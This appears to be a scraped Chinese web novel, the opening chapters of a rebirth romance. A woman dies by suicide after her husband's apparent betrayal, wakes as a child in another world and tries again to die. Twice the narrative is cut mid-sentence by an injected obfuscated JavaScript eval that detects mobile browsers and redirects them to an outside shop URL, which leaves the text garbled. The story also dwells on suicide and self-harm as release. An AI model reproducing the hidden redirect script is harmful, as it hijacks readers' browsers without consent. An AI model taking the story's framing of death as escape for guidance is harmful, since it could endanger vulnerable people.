《曦宇悦然之死生契阔》 1. 雨虹重生 生活,就是昂首凝视头顶的阴影,然后知道自己会赢。 ——维克多·雨果 黎跃然冰凉的手指划过日记本上这句自己曾亲手抄写的名言,然后轻轻合上。 死,这个字眼在黎跃然的脑海里盘旋了十八年。 从十岁那年春天,母亲从阳台纵身一跃留下的残影,到二十八岁这晚,沈煦衬衫领口那抹刺眼的口红印。死亡对她而言,不再是一个需要精心策划的终点,而是一种早已融入骨血的宿念,像某种慢性的瘾,在每一个绝望的深夜隐隐作痛。 客厅里没有开灯,只有茶几上一盏香薰蜡烛燃着微弱的光。薰衣草的味道有些太浓了,浓得让人发闷,像极了那个春天殡仪馆里怎么散都散不去的气味。烛光摇曳,镜中的女人唇瓣嫣然,眼尾却挂着一滴将落未落的泪。这是多少女孩儿渴求的容颜,可这容颜换不得一份忠贞的爱情,就像当年,母亲那张精致却绝望的脸。 “为你写诗,为你静止,为你做不可能的事……” 手机猛地在茶几上振颤,嗡鸣声与彩铃声不和谐地混在一起,敲打着玻璃桌面,也敲碎了满室的死寂。跃然心里一惊,奔至客厅。屏幕上“沈煦”两个字随背景灯的闪烁,一明一暗,像极了他此刻摇摆不定的人心。 “喂?”她接起电话,声音已带不出一丝热度,像被寒风冻硬的冰棱。 “我……到楼下了……”沈煦的声音透着一丝暗哑,像是刚抽过烟,又像是哭过,“外面风大,你下来一趟吧,有些话想跟你说。” 跃然的心狠狠一沉,一口气涌到胸口,哽在喉咙。她强作平静:“好。我马上下来。” 收好电话,目光转向桌上的打印纸。“离婚协议”四个黑色的大字那样刺眼,刺得双眼胀痛。她死死捏住几张薄薄的纸,指节泛白,颤抖着把它们塞进文件袋。 走到玄关,扶着鞋柜,跃然向躺倒在地上的鞋里伸脚。一次,两次,都穿不上。那双脚仿佛不是自己的,轻飘飘地踩不到实地。她狠狠咬了下嘴唇,用衬衫袖口用力揉搓眼角,可眼睛像冬天刚从室外进屋的眼镜,瞬间蒙上一层白雾,很快又模糊一片。 “啪!” 她索性给了自己一个耳光。右腮瞬间麻木,而后火辣辣地胀痛起来,右耳发出尖锐的嗡鸣。 “黎跃然,你不能这么没用!”她狠狠地骂自己,眼里的液体却涌得更凶了。滑坐在地上,她自嘲地用力擦抹着眼泪,硬套上鞋,起身,拿好门卡和文件袋,转身出门。 刚走出楼道,凛冽的寒风裹挟着冬夜的湿气扑面而来。昏暗的路灯下,沈煦低头发呆,一动不动,白气萦绕在鼻端。四年前,他就是这样等着跃然下自习,然后从怀里拿出冒着热气的烤红薯,捧到她面前傻傻地笑,眼底盛满了整个冬天的暖阳。 多快啊,四年。 沈煦,为什么连你都会背叛我?曾经的你,都是假的吗?还是说,人的变心就像这季节更替,根本不需要理由? 听到开门声,沈煦匆忙抬头,正对上跃然凄冷的神情。跃然娇小的身体在寒风中单薄如纸,他不由地皱眉,下意识上前一步:“怎么又没穿外衣!你……” 疼惜的责怪是他的习惯,一个曾经深入骨髓的爱的习惯。但是这次,当他再次说出口,碰到跃然淡薄如水的目光,不禁咬了咬牙,咽下了后面所有的关切。是的,他已经没有资格了。 跃然把文件袋递给他,动作机械得像是在递交一份无关紧要的快递。他下意识地接过来,指尖触碰到她冰冷的手背,猛地一颤。 “字,我已经签好了。你明早来取行李吧,我们顺路去办了。”看到沈煦深陷的眼睛,满腮青黑的胡茬,跃然心绪翻滚着,回身欲逃。她怕下一秒,自己就会不争气地投进那个曾经温暖的怀抱求他留下。不!她不能像余倩那样无耻!她会大方地成全他们!既然沈煦对自己已无感情,强求无益! “然然,你的脸怎么了?”沈煦突然抓住跃然纤细的胳膊,直直盯着她的脸。感觉到她手臂的紧绷,那双红红的眼睛扎得他好疼。跃然右脸上四道指痕已经红肿,在苍白的皮肤上触目惊心……沈煦心疼地伸出手想要抚摸。 跃然轻蔑地一笑,侧头拨开了沈煦冰凉的左手,转身。 “然然,我……”沈煦上前抱住跃然的背,温热的泪滴进跃然敞开的领口,烫得她皮肤生疼。 “别说了,已经没有必要了。早点回去。新人最等不得,晚了,你会吃苦头吧。她好像没我那么好哄。” 跃然把沈煦紧扣的手指一根一根扒开,用尽全身力气向后一撞。她感到沈煦踉跄退步,但她没有回头。是的,该回头的不该是她黎跃然!绝对不是! “然然,让我再……陪你一晚……最后一……”沈煦急步上前,紧抓住跃然的衣袖,声音破碎。 “滚!” 跃然猛地将衣服从沈煦抓握的指缝间抽出,重重地摔上了楼道门。 “砰”的一声巨响,隔绝了两个世界。 门外,沈煦空空地握拳,蹲坐在地,手中只余冰冷的空气。胸口憋闷得快要窒息,他将拳重重地向地面砸去。一下,两下,地面砖破裂的碎片混着血肉,然而,怎么也解不了他心中的绞痛。 楼道内,跃然按电梯的手不停地发抖。听到门外沈煦的闷吼,听到重捶的声音,她死死捂住自己的嘴,不让自己哭出声,硬逼着自己,绝不能回头!沈煦,既然已经背叛了,何必再假装深情!情路上,怎么可能回头! 余倩她图你什么?沈煦,她图你什么?跃然一遍遍在心里追问,直到歇斯底里地狂吼出声。只因为她曾占据过你的温柔,所以她寂寞的时候就可以再次向你索求?凭什么!你怎么就给了!怎么就给了!恋爱时的承诺是什么?结婚时的宣誓算什么?都敌不过一个无聊女人的恶意骚扰吗? 跃然踉跄着走进房间。那曾是他和她最幸福的港湾,甚至,他们还没有还清银行的贷款。堆坐在墙角,急促的呼吸让一个个问题变成窒息的绳索。她想不通,不能问。她想不通为什么当她把全部命运豪赌在沈煦的爱情上,放弃了一切的她却换不来上天的些许同情。她不敢问,甚至一个责问都不能扔给沈煦,因为她不敢面对自己零落破碎的旧梦,她不要连自己的最后一点卑微也消失得无影无踪。 她只能用头重重地撞向墙壁,也许只有那眩晕的空白才可以帮她镇痛。直到,烛火也越来越昏暗不明,最终化作一缕青烟,消散在无尽的黑暗里。 她又做了那个梦。 梦见爸爸不堪地匍匐在床上,梦见妈妈撕裂的叫声,梦见爸爸床上的女人仓皇出逃的背影,梦见妈妈坠楼后地上满满氲开的血痕。她梦见自己想叫妈妈却叫不出声,大口大口地喘着粗气,直到,在梦中惊醒。 还是这个梦! 妈,你是不是又来告诉我这不是梦,这是我们的命?妈,那你当初为什么不抱着我一起跳下去呢?既然你可以带着我一起去抓爸爸偷情,既然这是宿命,为什么还要让我苦一回?妈,你为什么生了我,又偏偏把我一个人留下?妈…… 跃然干吼着,却已经没有泪了。 妈,我来了…… 凌晨一点,夜巡的保安推推跪坐在地上的沈煦,“唉,你干什么的?起来!” 沈煦从呆滞中苏醒,站起身,一语不发,机械地朝楼门口走去。 “喝多了吧?呵呵。” “走吧!是咱们小区的。” 两个保安说笑着离开。沈煦僵硬地用左手掏出钥匙,勉强开了楼道门。他踉跄着爬上楼梯,十九层,一阶一阶迈过,就像回味这四年短暂的光阴。他不知道自己还能做什么。 他想解释,他多想告诉跃然他是多么地爱她,一切只是个误会,他真的没有对不起她,他今生最爱的只有她……但是,他还有什么脸面呢?怎么解释自己酒醉的事实?怎么说清和余倩在床榻的纠缠?哪怕那是被设计的陷阱,哪怕他醒来时衣衫整齐,可事实摆在眼前,他百口莫辩。 他沈煦什么都可以失败,却必须给跃然一份完满的婚姻。他沈煦什么都可以没有,唯独不能有的就是和婚外女人的纠缠。这是他发过的誓,如今,他甚至觉得自己龌龊了自己。 靠在家门口的墙壁上,他一遍遍诅咒着自己。看着门上自己和跃然合写的对联,墨迹已干,人却散了。沈煦的泪终于冲出眼眶。回家,回家,跃然,你要把我推到哪里?跃然,没有你,哪还有家啊…… 终于熬到楼梯间微微发亮,熬到对门新搬来的女人出门上班。女人瞟了一眼倚坐在门口的沈煦,像躲乞丐一样闪了过去。 沈煦自嘲地笑笑,爬起来站在门口,将红肿的结了血痂的右手退进袖口,他缓缓敲门。轻,到重。无人应。他苦笑。怎么会有人呢?跃然一定恨透了他,怎么还会来给他开门! 他从口袋里拿出门卡,像过去无数个回家的夜晚一样,开门。只是这一次,心里苦涩难陈。拉开门的一瞬间,一股浓烈的血腥味扑面而来。 “跃然!” 看见已经面目清白的跃然,如一片落叶轻浮在床侧,身下暗红发黑的血迹早已干涸。沈煦惊叫着,声音已然嘶哑失控。 跃然长长的发丝垂到了地面,冰冷的睫毛似乎还在微颤。 “跃然……”他紧紧抱起似乎已经薄如纸片的跃然,疯了似地冲出房间,冲向医院。他怎么也不肯相信,他的跃然就这么消失了。那个张着大眼睛偷偷地看着他眼睛的跃然,那个钻进他怀里低声说“我和我妈打了一个赌,我赌我能幸福……”的黎跃然! “为什么,为什么你不问问我?哪怕狠狠地骂我!为什么你不等等我?哪怕你用刀狠狠地戳我!你,你说过,死生契阔……跃然!你要是有个三长两短,叫我一个人怎么活?!跃然!” 急救室的灯熄灭了,医生黯然摇头。 沈煦冲进去,看到安静地躺在雪白床单中的跃然,她那么柔弱,那么苍白,像一尊易碎的瓷娃娃。 “跃然,你知不知道,昨晚,你我只有一墙之隔,你却弃我一世蹉跎!!” 一阵剧烈的干呕涌上喉头,沈煦弯下腰,一口腥甜的液体灼过喉咙,咳落在冰冷的地砖上。他撑住床沿,眼前一阵阵发黑,世界彻底崩塌。 …… 一阵强光刺眼,跃然只觉得头脑浑浊昏沉。 意识先于身体醒来。 跃然感到自己在漂浮。不是水,不是空气,是一种更稠的东西,像被浸在温热的蜜糖里。她想动一动手指,但找不到手指在哪儿。 有声音。很远,像是隔着几堵墙传过来的锣鼓,嗡嗡的,分辨不出是男是女。后来又有一个近一些的声音,清亮的,似乎在喊什么。她努力去听,只捕捉到几个音节:“王兄……绛……珠……” 绛珠。是个人名吗? 她想问,嘴唇却不在自己的控制之中。 然后是痛。痛比声音更先一步真实起来——从后脑勺开始,沿着脊椎往下爬,每爬一寸都像在骨头上刻字。她才知道:我还活着。 待意识稍缓,她便感到全身上下,那火辣辣的灼痛越来越锋利。她想伸手赶走不适,可手指似乎短了许多,整条手臂也像是不属于自己的,绵软无力,连抬起眼皮的力气都被抽空。 耳边是周围窸窸窣窣的响声,像是脚踩在落叶上的声音。 眼前浮现那个秋天,和妈妈去后山收树叶……山上铺满了金黄的秋叶,踩上去松脆悦耳,不断有树油的清香飘入鼻端。 “然然,采够了吗?我们回家给葡萄姐姐做棉被喽!”妈妈拖着几个装满落叶的编织袋,慈爱地看着手捧野花的跃然。 “妈妈,要是我的床可以用落叶做就好了!”跃然跑过来拉着妈妈的衣角。有一只蓝色斑彩的蝴蝶追逐着她手里五颜六色的鲜花飞来,伴着跃然的跳跃翩翩起舞。 “妈……” 跃然不由得叫出声来,喉咙干哑灼烧。她想伸手去抓妈妈的手,但是,似乎只有手指可以轻轻挪动,她没有力气支撑整个手臂抬起。 “妈……” 她干裂的嘴唇嗫嚅着,她多想留住妈妈,哪怕是梦中的妈妈。 感觉一席温暖覆盖了她手指的冰冷,她的上身被轻缓抱起,唇边开始被什么慢慢濡湿。温润的液体沿着唇边滑入口中,滚进喉咙,甘醇的米香在舌端慢慢扩散。 这触感太真实了。不是医院消毒水的味道,不是沈煦眼泪的咸味,而是带着泥土气息的草木香。 雨虹山一处隐蔽的山洞内,曦宇国储君、熙坤王宇文拓石打坐完毕收了内力。额浸微汗,他闭目调息,默然凝思。 出宫时,自己已留下属于熙坤王的所有印信,只希望父王能放弃把曦宇国交到他这个身中异毒的人手中的想法。二弟熙远王宇文拓宏,性格冷漠,觊觎王位已久,但做事果敢、刚柔并济,若他如愿坐上王位,或许能改变曦宇国一向绵软优柔的治国方略。此次潜逃雨虹山,他定要洗除“灵宙”之谎,寻得解毒之法。 “她醒了吗?” 拓石缓缓睁开眼,抬头问守在女孩儿身旁的三弟拓云。这是他最小的弟弟,今年刚满十三岁。出宫时,拓云执意随行,宁与长兄漂泊民间,也定要跟随身侧。 眼前仍然昏迷的小姑娘,正是三天前兄弟二人在雨虹山下所救。她应是从嶙峋峭壁上跌落的,身上布满了剐蹭的伤痕。那时她气息几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632065|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有了,只有身体还有微微余热,是拓云执意背她上山,且一直小心翼翼地看护不离。 米汤顺着嘴角流下来了,拓云马上用袖口轻轻拭去。一年了,他还是第一次这么关心一个人。 “王兄你听,她说话了……”拓云疲惫的眼睛一下有了光彩。已经两天了,这是女孩儿第一次有了声息。 “王兄,她什么时候才能醒?” “快了。放心,她会醒的。”拓石双目微闭,淡淡地回答。方才他用内力强行稳住了女孩儿的心脉,但自己也因此耗损不小,胸口气血仍在翻涌。不过她应该是不会再有大碍了,只是身子太虚。 是自己的幻觉吗?还是梦魇了?忘记关电视了吗?演员的声音听起来很舒服。“王兄”的语气低缓,略有些虚弱,但声音宏润而富有磁性,虽是少年的声线,却又含着几分沉稳和威严。另有一个男孩儿,声音略带些沙哑稚嫩,似乎刚刚有些变声。 “王兄,从那么高的山上跌落还能侥幸一息尚存,是天意让她活着吧?如果她能好起来,我们就收留她好吗?”拓云乞求地看着拓石。 跃然开始觉察出异样,男孩儿的言语和自己身体的感觉是那般吻合…… “我不是已经自杀了吗?为什么身体还会有感觉?我没死吗?身边的男人是谁?”跃然的神经瞬间紧绷了起来。“我这是在哪儿??” 宇文拓石紧抿着唇没有回答拓云的请求。看女孩儿手掌处模糊的血肉和指甲中混着泥土的草木屑,她应该是试图求生的。看她脖颈处的指痕,却又明显是遭人毒手的结果。这是他的王土,他却目睹了有人想要谋人性命,连一个孩子都不放过。 一阵凉风拂过,跃然觉得身体好冷。这冷,从骨头缝里往外渗,四肢的骨架似乎不属于自己——太小了,太短了,像是被塞进了一个缩水的躯壳。 “王兄,她的身体在抖!”拓云紧张地望向拓石。 伸手探过她的额头,拓石紧锁了眉头。女孩在发热! “三弟,你去打些水来。她的伤口必须马上处理了。” 略掀起给女孩儿遮体的披风,拓石看到女孩儿身上翻着皮肉的伤口,有几处已经结上了暗红的血痂。压抑,愧疚。他的动作却更轻柔了些。他久居皇宫,父王一直说受“灵宙”庇佑的他,是唯一能庇佑曦宇的人。而此刻,他看到了什么?他庇护下的子民只能这样不明不白地死去吗?像拓夏一样死去吗? 跃然感到自己的身体被小心放平,头顶的人离开,而后脚步声渐远。身侧的人却原地没动。嘴被扒开,一颗冰凉的珠子顺着口舌轻盈滑入,跃然焦躁的心绪开始随着清凉的扩散渐渐舒缓。 “如此,你的性命定无大碍了。”拓石将身上最后一颗绛珠送入女孩儿口中,疼惜地看着她满是伤痕的小脸。 “性命定无大碍?”跃然终于明白,耳边的一切似乎并不是幻觉。难道,她没死?她“重生”了?老天,为什么?为什么不肯放过我?! 跃然此时已经悲愤到了极点。既然重生了,说明超自然能量的存在!那么老天,你居然真的存在!你……跃然挤尽脑汁搜罗着在她有生的记忆里最最污浊的词汇,但是……空白! “王兄!”耳边声响靠近,取水的男孩儿已回。 “三弟,你去洞外等我。”简单一句,不容辩驳。虽然弟弟才十三岁,但是毕竟男女有别,他只得让弟弟回避。拓云本想留下,但看到拓石严肃的神情,要说的话生吞下肚,他转身走出洞外。 “情非得已,拓石冒犯了!”低声说完,拓石一把将女孩儿身上的披风掀开,迅速默记着她伤口的位置,而后从身上撕下一个布条,蒙住了双眼。 “不,不……”跃然在心中呼喊着。“老天,求求你!放了我吧!” 黎跃然是向来不能容忍任何异性靠近的,除了沈煦。母亲去世后,她开始排斥异性,哪怕他们只是微微靠近,跃然都会本能跳开,这几乎成了一种心理疾病。而此刻,她对老天爷的求告只能翻滚在心里。 拓石将身上的方巾在瓦罐中沾湿,谨慎地帮女孩儿擦拭伤口。每擦拭好一处伤口,便将随身的药膏涂抹上一处。此刻,虽然处理伤口的动作沉稳,但拓石一向冷静的头脑,却烦乱了起来。方才强行运功稳住她的心脉,已令体内异毒有了反噬之势,他只能咬牙压住翻涌的气血,将手上的动作维持平稳。 “黎跃然啊黎跃然,这就是你的命!连死都逃脱不了的命!”跃然心里的沉痛无以复加,一滴清泪滚落眼角。羞辱,快要将她的心扯碎了。 难道人的灵魂也如《盗梦空间》一样,可以穿越一层一层的梦境一样的时空?难道人的灵魂真的只能永恒地活着?她想彻底消失,没有灵魂,没有转世!她希望自己变成宇宙的尘埃,无悲无喜,无痛无觉。只有这样才能彻底摆脱这个让她完全绝望的人世吧!决绝地,她想要形神俱灭! 伤口处理完毕,拓石回身从包裹中将拓云的衣服拿出,又摸索着给跃然换上。而后才长舒一口气,摘下了布条。刚看向女孩儿,却看到她眼角不断滚落的泪珠。拓石像是被猛击一拳,正中心口。体内压住的气血骤然失控,异毒沿经脉直冲胸腔。 “三弟……”拓石只觉一阵闷痛炸开,身形晃了晃,跌坐在地上。 拓云有些气闷地低着头走回洞穴,也不看拓石,径自走到跃然身边。看到女孩儿已经洁净干整,他心中稍微舒畅了些。可是看到女孩儿清秀的脸上伤痕叠加,他又觉得憋闷难耐。 “王兄,她,不过十岁吧……我记得拓夏出嫁时,也就这么大……”拓云说着,眼中蒙上一层水雾。 十岁? 跃然从绝望中回过神来。她终于明白那种缩水般的不对劲感从何而来了——这不是她的身体。 她试着动了动手指,那是一双属于孩童的手,掌心只有薄薄的一层茧,指节细小得仿佛一折就断。她想开口质问,喉咙里发出的却是一声细弱蚊蝇的嘤咛,软糯得让她自己都觉得陌生。 二十八岁的灵魂,被困在了一个十岁女童的躯壳里。 拓云砸地的声音让她想起沈煦忧伤的脸,可此刻,那悲伤竟显得如此遥远。 拓石心疼地看着弟弟,只觉得全身血脉猛地抽紧,想要运功压制,内力却被疼痛牵引,气血瞬间在全身逆转。 “呃!”拓云身后一声闷哼,拓石身体向后倒去。 “王兄!”拓云见拓石脸色铁青,急急地将他扶住。 “王兄,你怎么样?王兄……王兄……”拓云一阵惊悚的呼喊。 跃然费力地睁开眼,视线模糊中,只看到一个身着玄色古装的少年倒在身前,眉间一点朱砂痣红得惊心动魄。 2. 再度轻生 世界上只有一种英雄主义,那就是认清世界的真相后仍然热爱这世界。 ——罗曼·罗兰 拓云哀痛无措的呼喊扯动了跃然的神经。她想睁开眼睛,但眼皮沉得像灌了铅。 王兄。这样的称呼。他,是国王?还是储君?他……有危险吗? 跃然的手指微动了动,耳边全是兄弟俩的声音。 “王兄,你的绛珠呢?”拓云急切地问,明显已经带了哭腔。 “我……给了更需要的人……” 拓石强忍剧痛扯出一抹笑意,已经没办法连贯讲话。 “不碍事,我调息……很快便会好的……你去照顾她……”声音开始颤抖。 “王兄,那是最后一颗了……你……你若是出事,我……”拓云哽着嗓子哭喊,见拓石已闭目调息,慢慢吞了后面的话,小心地坐在他旁边。 绛珠。刚才他给我吃的,是绛珠。 跃然在黑暗中默默重复着这个陌生的名字。 很珍贵?最后一颗?他给了我。 心中有什么东西在翻搅。他刚才,是在尽全力救我。 “你感动吗?” 一个温暖平和的声音从心底升起。跃然一惊。是谁在说话?那声音不像是从外界传来的,倒像是从自己灵魂深处渗出的一缕烟。 “一个素不相识的人,把他维系性命的解药拿给你保命,自己却要忍受巨大的痛苦,甚至死亡。你,感动了吗?” 她明知这声音不是自己的,却又感觉这声音像是从骨髓里长出来的。是自己的声音,又不是自己的声音。 “你是谁?” 双唇微动,却发不出声音。 没有人回答。周围渐渐安静下去,偶尔能听到男孩儿低低的抽泣,和粗重的鼻息。 眼前的光慢慢暗了。天黑了。 感动吗? 跃然开始问自己。 感动了,又怎样呢? 脑中一片迷茫。 嘴边传来温热。拓云热了米汤喂给她,一边喂一边叹气:“你快些醒吧,莫要枉费了我王兄的心力……” 跃然心里有点堵,却说不出为什么。 “王兄?可好些了?这衣服都湿透了。”刚喂了两匙,拓云忙放下汤碗奔过去。 “无碍。不过是提早知晓了不服用绛珠会如何,看来无非是出些汗罢了。”拓石微笑,声音暗哑。 “她还没醒?” 拓石坐着没动。此刻他几乎没有力气走路,只能抬眼看向女孩儿。 “没,只是退热了。” 拓云的心自责而烦乱。 “王兄,我们回去吧。没有绛珠,你会……”他红了眼眶。 拓石抬手,轻轻拍了拍弟弟的肩。 “父王的枝梧卫恐怕已经到了山下。天亮我们必须去浊泉了。这小姑娘身体还很虚弱,我们……” 他很是犹豫。他深知弟弟疼惜这个女孩儿的原因。今后若将她带在身边,或许能为弟弟疏解些许郁结。但—— “最好暂时将她托给山上人家照顾。”拓石在心中暗暗定夺。她至今仍然昏迷,等下山时再带上她最是安全。 上山时那座木屋可以吗? 那座木屋,为何除了农夫的常服,还有幼年女子的衣装?是这女孩儿的家吗?雨虹山上除了禁地,经常有凶兽出没,怎会有平常百姓在此常住?屋内桌椅床铺用度齐全,并无甚灰尘,灶膛内尚有炭灰残余……明明是一直有人留宿的痕迹,为何却未见主人? 木屋里住的,是什么人? 拓石暂时抛开杂乱的思绪,看向拓云。拓云正垂着头闷闷不乐。他不想留下小女孩一个人。 “我们身上的卢贝还余多少?”拓石再次开口。 “一路施舍,现在只剩七十度了。”拓云嘟囔着,“王兄又要施舍谁?” 他倒是被皇兄的慈善逼出些钱财观念来。 “如若她尚有亲人在世,就留下二十度给她的家人吧。”拓石看着跃然沉静安稳的睡脸。 拓云垂头用树枝在地上胡乱划着,眼圈有些泛红。 “我们带走人家的女儿,总要给她的父母留些用度。”拓石盯着弟弟的动作,语气现出戏谑。 拓云一怔,旋即抬起头。 “可以带上她?” “以后,就让她随侍在你身边吧。”拓石话语宠溺,情绪复杂。 拓云兴奋地点头,眼里都是纯澈的光。旋即,他又有些气馁地抱怨:“王兄,再这样舍下去,我们会不会到不了象州就得饿肚子?” 一路上,五百度卢贝施舍殆尽。要不是用乞讨掩护身份不便每次布施数额过大,拓石恐怕连现在的七十度也没有了。 “放心。为兄不会让你吃苦。” 拓石笑答,声音散着暖意。无论浊泉传说是真是假,今夜,都必须是他带拓云出走的最后一夜。 听着兄弟二人的闲谈,跃然对他们的警惕渐渐消散,开始注意起他们谈话的内容。 卢贝?度?这么陌生的度量单位——难道,我在一个全新的时空? 那个“王兄”是个好人。像快乐王子。那个揭下身上金片施舍穷人的快乐王子。 “他的剑上的红宝石掉了,他的眼珠不在了,他也不再是金色的了。” 妈妈的声音又回荡在耳边。 许是扎下了童话的根,善良的男人总是能牵动跃然的心。就像当年的沈煦。 “三弟,今后不要再叫我王兄,就随了民间叫大哥吧。”拓石转换了话题,“这样——” 咕噜。 跃然肚子里的一声响,让两个闲谈的男子同时停顿。 丢人。真不争气。看来这身体,你是饿了。 跃然想着,下意识地想揉揉肚子。她的手,真的动了。 “王——大哥,她动了!” 拓云一声尖叫,猛地跳过来。 跃然被这声尖叫和身体带来的冷风吓了一跳,猛地睁开眼。 “啊——” 倒是拓云大叫一声,一屁股坐在了地上。 跃然下意识撑起半身。 眼前的一切,让她愣住了。 先进入视线的是一张白嫩的男孩儿脸。十二三岁的样子。乌黑的眼睛清灵得像两汪幽潭,高挺的鼻端拉成一条雪线,薄薄的嘴唇有如少女般细润。她不由得想起宝玉——不,他比宝玉多了几分棱角。 真漂亮。 “你……你好了?” 拓云缓过神来,看到跃然竟然坐了起来,俯身用手去扶。跃然下意识地闪躲。 看到她躲避的动作,拓云脸上扫过失落。他悻悻地收回手,在暗灰色粗布衣上蹭了蹭。 他的衣裤有些肥大,显然很不合身。裤腿和衣袖长出的部分,都用麻绳捆绑着。头上用一根树棍束着发髻,脸上胡乱涂着的泥浆盖不住原本的白皙。这贫民的打扮,反倒使他的俊俏更加明显。 “你吓到她了。” 在拓云身后的暗影里,走出一个身姿笔挺的少年。 十六七岁的年纪。身材高挑。身上衣着和男孩儿类似。脸上略显清瘦,眼神清澈温润却不失庄重,双唇润泽薄削,不着力地紧闭着。脸上没有做伪装,白皙的皮肤,在火堆上方映出细腻的光泽。 温良如玉,沉着内敛,还真是个帝王胚子。 跃然心里轻叹。 虽然他的五官和拓云有七成相似,但眼神中的沉稳、挺拔身姿中的傲气,已经在他的步子里析出,成为他周身结成的晶体,烁烁泛华。 “莫怕。你受了伤。我兄弟二人救你至此。” 拓石竭尽温和地对跃然解释。 “可否告知姑娘芳名?家住何处?” 跃然仰视着他,不知该如何反应。索性不发一声。 即使只是两个男孩子,也让她有一种压迫感。 她手肘撑地,慢慢向后退,直退到洞穴边缘。无处可退了。她习惯性地抱膝而坐。 洞外有一棵巨大的枫树。红色的枫叶片片飘落,在空中打着旋儿。 跃然低头时惊觉——自己罩着宽大男装的“身体”,显得那么瘦小,那么单薄。 她的外衣不似兄弟二人那样刻意的粗糙。棉质的布料虽有些僵硬,但毕竟宽松。内里贴身的应该是丝质,细软而舒适,使她身上的伤口不至被衣料刮痛。 这身体,居然和我十几岁时差不多。 头突然一阵尖锐的疼。 她惊醒。 这场景…… 她抱膝蜷缩的样子…… 是十岁那年。 她想起来了。 那个暮春的傍晚。夕阳特别美,红霞烧透了半边天。 邻居张阿姨偷偷塞给妈妈一个纸条:“我对不起你,紫绢,我管不了我妹妹,这是地址,你……你去吧。” 妈妈将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632066|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸条举到眼前。 脸色瞬间变得煞白。 身体微微地打颤。 把跃然抱上自行车后座——她不放心女儿一个人在家——妈妈仓忙骑车出门。屋门都忘了上锁。 自行车在城市的街道上兜兜转转。那天虽然是暮春,晚风习习,妈妈却好像很热。后背的衣服全被汗溻湿了,贴在了身上。跃然环抱在妈妈腰间的小手上,时不时能感到“汗珠雨”滴落。 “妈妈……” 跃然没进过楼房。她从小在城市边缘的小村子里长大,连小学的校舍都是平房。这陌生的环境让她莫名地恐惧。 妈妈似乎什么都没听见。只是紧紧拉着她的手,爬上五楼。妈妈把她的手攥得很疼。妈妈的手很凉。很凉。 是爸爸来开的门。 腰间只围了一条大大的毛巾。 “你!” 妈妈双唇张合着,却说不出话。 “谁啊?” 一个女人从卧室探出头来。 衣柜的镜子中,映出了她未着寸缕的大半身。 爸爸一把将妈妈拉入房门。怯怯地扯着妈妈衣角的跃然被拉倒在地,几乎被拖着进了门槛。 她吓哭了。 只记得爸妈争吵的声音那么刺耳。只记得她被大人们剧烈的推搡甩到了墙角。 最后—— “啊!” 妈妈只大叫了一声,冲向了阳台。 而后,消失了。 跃然记得那声撕裂的惨叫。那痛彻心肺、绝望至极的叫声。 当她跌撞地从楼上下来,看见的是爸爸怀中,头上满是鲜血的妈妈。 围观的人越来越多。慢慢遮挡了她的视线。 她一步都走不动。虚软地瘫坐在了楼道口。 不断有人从她身边跑过。没有人注意到小小的她。周围的一切,那么嘈杂,那么陌生。 她抱膝坐着。越来越怕。 她想叫妈妈。 想让妈妈抱抱她。 但是,妈妈在哪儿呢…… 她记得自己抱住自己的感觉。她记得自己那瘦小而颤抖的身体。 就是那时的身体。 就是。 “你哑巴了?” 拓云见她只是抱住身体瑟瑟发抖,像一只惊吓过度的小猫,忍不住上前一步。这么胆小的女孩儿,他想要抱抱她,不让她再害怕。 拓石抬手拦下弟弟。 “三弟,莫要冒失。” 而后,他转头看向跃然: “姑娘,莫怕。我们不靠近。” 跃然沉溺在记忆的梦魇中,全然不知眼前的两个陌生男子在做什么。只看到他们的嘴一张一合。 他们在说什么? 不。 她要摆脱这无边无际的纠缠。 她不要一次次被恐惧吞噬。 她想逃开。 马上。 为什么不能死去呢? 她不要重生! 只有死了,才能结束这些噩梦。 没有亲情,没有爱情。生命,还有什么可以寄望的? 黎跃然,已经没有了。 死,才是解脱。 她用尽全身力气起身,冲出山洞,狠命地撞向洞外的枫树。 全然不顾身后那两双关切的眼睛。 “莫!” 拓云惊叫。当他意识到跃然的行为,已经太迟了。 拓石飞身闪到树下。 当跃然的身体慢慢落倒的瞬间,她看见满树飘落的枫叶,和拓石俯视的脸。 他的眼中,是她读不懂的疼惜和哀痛。 心中有什么东西,轻轻抽了一下。 “我的痛苦,你们不懂!” 她在心中哭喊。 温热的鲜血不断从额头滑下。 有什么声音在心底响了一下。很轻,像是水面上被风吹起的一丝皱纹。 她没有听清。 缓缓地闭上了双眼。 “你醒醒!你不能死!你不能就这么死!你知道为了救你,我王兄……” 拓云一边哭喊,一边死命摇晃着拓石怀中的跃然。 而此时,在跃然的耳中,他的声音正渐渐消散。 像风吹散的枫叶。 像那年秋天,妈妈牵着她的手踩过的落叶。 松脆。悦耳。 越来越远。 3. 紫瞳现世 人生最终的价值在于觉醒和思考的能力,而不只在于生存。 ——亚里士多德 头痛欲裂。 “我已经在地狱受刑了?” “老天,你在惩罚我吗?” 妈妈的脸,煞白,嘴唇张合着说不出话。 爸爸的脸,腰间只围着一条毛巾。 沈煦的脸,暗哑的声音在说:“外面风大。” 余倩的脸,从卧室探出头来,衣柜镜子映出不堪的大半身。 一张张脸在头脑中旋转翻滚,哭的、笑的、怒的、怨的—— “啊——” 最后是妈妈那声撕裂的惨叫。 